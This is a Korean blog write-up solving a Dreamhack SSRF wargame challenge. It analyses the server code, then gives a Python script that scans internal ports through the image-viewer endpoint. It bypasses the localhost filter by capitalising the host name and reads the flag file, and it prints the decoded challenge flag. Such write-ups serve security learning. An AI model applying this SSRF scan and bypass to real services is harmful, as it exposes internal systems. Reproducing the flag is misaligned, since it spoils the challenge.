βœ’οΈ Web Hacking/Dreamhack

[Dreamhack] Web - SSRF λ“œλ¦Όν•΅ μ›Œκ²Œμž„ 문제 풀이

A Lim Han 2022. 11. 3. 14:50

5 - 1 - 1. Web - SSRF 취약점 μ‹€μŠ΅

 

 

# Web - SSRF

1. 문제 확인 ν›„ 문제 파일 λ‹€μš΄λ‘œλ“œ

μ‚¬μ§„κ³ΌλŠ” 달리 μ‹€μ œ μ‹€μŠ΅μ€ 9881이 μ•„λ‹Œ 11090 포트λ₯Ό μ‚¬μš©ν•¨

 

 

 

 

2. 문제 속 app.py 파일의 μ½”λ“œ 뢄석

+ << Line 27 ~ 28 >>

: /img_viewer.html 은 GET, POST 두 κ°€μ§€μ˜ μš”μ²­μ„ 처리 

 

+ << Line 29 ~ 30 >>  

: GET 의 경우

-->  img_viewer.html 을 λ Œλ”λ§

: POST 의 경우

-->  μ‚¬μš©μžκ°€ μž…λ ₯ν•œ URL에 HTTP μš”μ²­ 전솑 ν›„ 그에 λŒ€ν•œ 응닡을 img_viewer.html 의 인자둜 ν•˜μ—¬ λ Œλ”λ§

 

+ << Line 36 ~ 38 >>  

: μ„œλ²„ μ£Όμ†Œμ— "127.0.0.1" μ΄λ‚˜ "localhost" κ°€ ν¬ν•¨λœ URL둜의 μ ‘κ·Ό μ œν•œ

-->  μ‚¬μš©μžμ— μ˜ν•΄ μž…λ ₯된 λ¬Έμžμ—΄ μ•ˆμ— μœ„ 두 μš”μ†Œκ°€ μžˆλ‹€λ©΄ error.png λ°˜ν™˜

 

 

 

+ << Line 49 >>  

: http (=파이썬 κΈ°λ³Έ λͺ¨λ“ˆ) λ₯Ό μ΄μš©ν•˜μ—¬ μž„μ˜ 포트( = 127.0.0.1 )에 HTTP μ„œλ²„ μ‹€ν–‰

: ν˜ΈμŠ€νŠΈκ°€ 127.0.0.1 -->  μ™ΈλΆ€μ—μ„œμ˜ μ„œλ²„ μ ‘κ·Ό 방지

 

+ << Line 50 >>  

: 포트 λ²ˆν˜ΈλŠ” 1500 ~ 1800 μ‚¬μ΄μ˜ μž„μ˜μ˜ 수

-->  수의 λ²”μœ„κ°€ λ„ˆλ¬΄ λ„“μ–΄ 직접 λŒ€μž…μ€ 어렀움 

 

+ << Line 51 ~ 53 >>  

: http.server.HTTPServer 의 두 번째 인자둜 http.server.SimpleHTTPRequestHandler 을 전달

-->  λ¦¬μ†ŒμŠ€ λ°˜ν™˜ μ›Ή μ„œλ²„ 생성

 

+ << Line 60 >>  

: 타 μŠ€λ ˆλ“œλ‘œ local_server μ‹€ν–‰

 

 

 

 

3. 포트번호λ₯Ό μ•Œμ•„λ‚΄κΈ° μœ„ν•œ Python 슀크립트 μž‘μ„±

import requests
import sys
from tqdm import tqdm

NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text

def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port

if __name__ == "__main__":
    chall_port = 11090
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

 

 

 

 

4. VScode μ—μ„œ μž‘μ„±ν•œ Python 슀크립트 μ‹€ν–‰

μ‹€ν–‰ κ²°κ³Ό

+ ν”„λ‘œκ·Έλž¨ μ‹€ν–‰ κ²°κ³Ό 포트 λ²ˆν˜ΈλŠ” 1517μž„μ„ 확인

 

 

 

 

5. 접속 정보 확인 ν›„ μ•ˆλ‚΄λœ 링크인 http://host1.dreamhack.games:11090/  으둜 접속 

μ‚¬μ§„κ³ΌλŠ” 달리 μ‹€μ œ μ‹€μŠ΅μ€ 9881이 μ•„λ‹Œ 11090 포트λ₯Ό μ‚¬μš©ν•¨

 

 

 

 

6. Image Viewer νŽ˜μ΄μ§€λ‘œ 이동 ν›„ μ°Ύμ•„λ‚Έ 포트 번호(=1517)λ₯Ό μ΄μš©ν•˜μ—¬ μ•„λž˜μ™€ 같이 URL μž…λ ₯

 

+ http://Localhost:1517/flag.txt 을 url μž…λ ₯λž€μ— μž…λ ₯

 

 

 

 

7. url μž…λ ₯ ν›„ F12λ₯Ό 톡해 개발자 도ꡬ μ˜€ν”ˆ

 

+ 개발자 λ„κ΅¬μ˜ img λΆ€λΆ„μ—μ„œ 64base둜 μΈμ½”λ”©λœ μƒνƒœμ˜ Flagλ₯Ό 발견

 

 

 

 

8. REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9 뢀뢄을 64bit 디코더λ₯Ό μ΄μš©ν•˜μ—¬ λ””μ½”λ”©

λ³€ν™˜ μ „

 

λ³€ν™˜ ν›„

+ FlagλŠ” DH{43dd2189056475a7f3bd11456a17ad71} μž„μ„ 확인